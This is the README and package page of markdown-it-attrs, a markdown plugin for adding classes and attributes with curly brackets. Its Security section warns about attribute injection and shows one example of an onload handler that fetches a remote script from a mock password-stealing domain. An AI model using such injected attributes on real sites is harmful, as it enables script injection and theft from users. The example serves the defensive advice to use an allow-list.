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markdown-it-attrs

Add classes, identifiers and attributes to your markdown with {} curly brackets, similar to pandoc's header attributes

3.0.1  •  Updated 7 months ago  •  by Arve Seljebu  •  MIT License

Add classes, identifiers and attributes to your markdown with {.class #identifier attr=value attr2="spaced value"} curly brackets, similar to pandoc’s header attributes.

Example input:

# header {.style-me}
paragraph {data-toggle=modal}

Output:

<h2 class="style-me">header</h2>
<p data-toggle="modal">paragraph</p>

Works with inline elements too:

paragraph *style me*{.red} more text

Output:

<p>paragraph <em class="red">style me</em> more text</p>

And fenced code blocks:


```python {data=asdf}
nums = [x for x in range(10)]
```

Output:

<pre><code data="asdf" class="language-python">
nums = [x for x in range(10)]
</code></pre>

You can use .. as a short-hand for css-module=:

Use the css-module green on this paragraph. {..green}

Output:

<p css-module="green">Use the css-module green on this paragraph.</p>

Install

$ npm install --save markdown-it-attrs

Usage

var md = require('markdown-it')();
var markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs, {
  // optional, these are default options
  leftDelimiter: '{',
  rightDelimiter: '}',
  allowedAttributes: []  // empty array = all attributes are allowed
});

var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}';
var res = md.render(src);

console.log(res);

demo as jsfiddle

Security

A user may insert rogue attributes like this:

![](img.png){onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)}

If security is a concern, use an attribute whitelist:

md.use(markdownItAttrs, {
  allowedAttributes: ['id', 'class', /^regex.*$/]
});

Now only id, class and attributes beginning with regex are allowed:

text {#red .green regex=allowed onclick=alert('hello')}

Output:

<p id="red" class="green" regex="allowed">text</p>

Ambiguity

When class can be applied to both inline or block element, inline element will take precedence:

- list item **bold**{.red}

Output:

<ul>
<li>list item <strong class="red">bold</strong></li>
<ul>

If you need the class to apply to the list item instead, use a space:

- list item **bold** {.red}

Output:

<ul>
<li class="red">list item <strong>bold</strong></li>
</ul>

If you need the class to apply to the <ul> element, use a new line:

- list item **bold**
{.red}

Output:

<ul class="red">
<li>list item <strong>bold</strong></li>
</ul>

If you have nested lists, curlys after new lines will apply to the nearest <ul> or <ol>. You may force it to apply to the outer <ul> by adding curly below on a paragraph by its own:

- item
  - nested item {.a}
{.b}

{.c}

Output:

<ul class="c">
  <li>item
    <ul class="b">
      <li class="a">nested item</li>
    </ul>
  </li>
</ul>

This is not optimal, but what I can do at the momemnt. For further discussion, see https://github.com/arve0/markdown-it-attrs/issues/32.

If you need finer control, decorate might help you.

Custom rendering

If you would like some other output, you can override renderers:

const md = require('markdown-it')();
const markdownItAttrs = require('markdown-it-attrs');

md.use(markdownItAttrs);

// custom renderer for fences
md.renderer.rules.fence = function (tokens, idx, options, env, slf) {
  const token = tokens[idx];
  return  '<pre' + slf.renderAttrs(token) + '>'
    + '<code>' + token.content + '</code>'
    + '</pre>';
}

let src = [
  '',
  '```js {.abcd}',
  'var a = 1;',
  '```'
].join('\n')

console.log(md.render(src));

Output:

<pre class="abcd"><code>var a = 1;
</code></pre>

Read more about custom rendering at markdown-it.

Custom blocks

markdown-it-attrs will add attributes to any token.block == true with {}-curlies in end of token.info. For example, see markdown-it/rules_block/fence.js which stores text after the three backticks in fenced code blocks to token.info.

Remember to render attributes if you use a custom renderer.

Custom delimiters

To use different delimiters than the default, add configuration for leftDelimiter and rightDelimiter:

md.use(attrs, {
  leftDelimiter: '[',
  rightDelimiter: ']'
});

Which will render

# title [.large]

as

<h2 class="large">title</h2>

License

MIT © Arve Seljebu

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Maintenance

Development

Last ver 7 months ago
Created 5 years ago
Last commit 7 months ago
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Technology

Node version: 12.7.0
109.4K unpacked

Compliance

MIT License
OSI Approved
0 vulnerabilities

Contributors

11 contributors
arve0
Maintainer, 191 commits, 43 merges, 32 PRs
Connum
9 commits, 1 PRs
Roy Ivy III
5 commits, 2 PRs
Narazaka
3 commits, 1 PRs
Andrew Lisowski
3 commits, 1 PRs
Works at intuit
dependabot[bot]
2 commits

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markdown-it
markdown-it-plugin
attributes
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ids
identifiers
curly brackets
pandoc
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